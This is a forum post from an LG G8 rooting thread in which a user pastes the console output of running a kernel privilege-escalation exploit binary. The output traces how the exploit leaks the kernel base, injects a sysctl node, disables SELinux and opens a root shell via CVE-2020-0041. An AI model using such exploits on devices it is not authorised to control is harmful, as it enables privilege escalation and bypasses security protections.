[LG G8 ROMs, Kernels, Recoveries, & Other Developme] tron1:
This is my result for Sprint G8 February patch overiding with -t 4 "LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2"

It stucks with the line "[*] Reallocating content of 'write8_selinux' with controlled data................."

Edit: Tried it again with the same -t 4 parameter, guess what? I have ROOT! (*) see below.

alphalm:/data/local/tmp $ ./v50g8-root -t 4

./v50g8-root -t 4

[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'

[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target

[+] Mapped 200000

[+] selinux_enforcing before exploit: 1

sched_setafinnity(): Invalid argument

sched_setafinnity(): Invalid argument

.

.

.

sched_setafinnity(): Invalid argument

[+] pipe file: 0xfffffff0aeced700

[*] file epitem at ffffffef820efd00

[*] Reallocating content of 'write8_inode' with controlled data......[DONE]

[+] Overwriting 0xfffffff0aeced720 with 0xffffffef820efd50...[DONE]

[*] Write done, should have arbitrary read now.

[+] file operations: ffffff821ca21050

[+] kernel base: ffffff821b480000

[*] init_cred: ffffff821d82e588

[+] memstart_addr: 0xffffffd100000000

[+] First level entry: b43c0003 -> next table at ffffffefb43c0000

[+] Second level entry: dd466003 -> next table at ffffffefdd466000

[+] sysctl_table_root = ffffff821d85b098

[*] Reallocating content of 'write8_sysctl' with controlled data..............[DONE]

[+] Overwriting 0xfffffff0f534b768 with 0xffffffefffacd000...[DONE]

[+] Injected sysctl node!

[*] Reallocating content of 'write8_selinux' with controlled data.................

(*)

alphalm:/data/local/tmp $ ./v50g8-root -t 4

./v50g8-root -t 4

[+] factoryversion = 'LMG820AT-00-V20e-LAO-COM-FEB-05-2020-ARB00+0'

[+] forced use of 'LMG820AT-00-V20b-LAO-COM-FEB-12-2020-ARB00+2' target

[+] Mapped 200000

[+] selinux_enforcing before exploit: 1

sched_setafinnity(): Invalid argument

.

.

.

sched_setafinnity(): Invalid argument

sched_setafinnity(): Invalid argument

[+] pipe file: 0xffffffe2a13e0000

[*] file epitem at ffffffe2cc823800

[*] Reallocating content of 'write8_inode' with controlled data..[DONE]

[+] Overwriting 0xffffffe2a13e0020 with 0xffffffe2cc823850...[DONE]

[*] Write done, should have arbitrary read now.

[+] file operations: ffffff8a59221050

[+] kernel base: ffffff8a57c80000

[*] init_cred: ffffff8a5a02e588

[+] memstart_addr: 0xffffffde40000000

[+] First level entry: 1221a8003 -> next table at ffffffe2e21a8000

[+] Second level entry: 1221a1003 -> next table at ffffffe2e21a1000

[+] sysctl_table_root = ffffff8a5a05b098

[*] Reallocating content of 'write8_sysctl' with controlled data........[DONE]

[+] Overwriting 0xffffffe3b534a468 with 0xffffffe2cf35e000...[DONE]

[+] Injected sysctl node!

[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]

[+] Overwriting 0xffffff8a5a7ceffc with 0x0...[DONE]

[*] Node write8_inode, pid 7360, kaddr ffffffe25d899400

[*] Replaced sendmmsg dangling reference

[*] Replaced sendmmsg dangling reference

[*] Node write8_selinux, pid 7099, kaddr ffffffe2cc8e6400

[*] Replaced sendmmsg dangling reference

[*] Replaced sendmmsg dangling reference

[*] Node write8_sysctl, pid 7384, kaddr ffffffe33791d380

[*] Replaced sendmmsg dangling reference

[*] Replaced sendmmsg dangling reference

[+] Cleaned up sendmsg threads

[*] epitem.next = ffffffe2a13e0020

[*] epitem.prev = ffffffe2a13e00d0

[*] Launching privileged shell

root_by_cve-2020-0041:/data/local/tmp #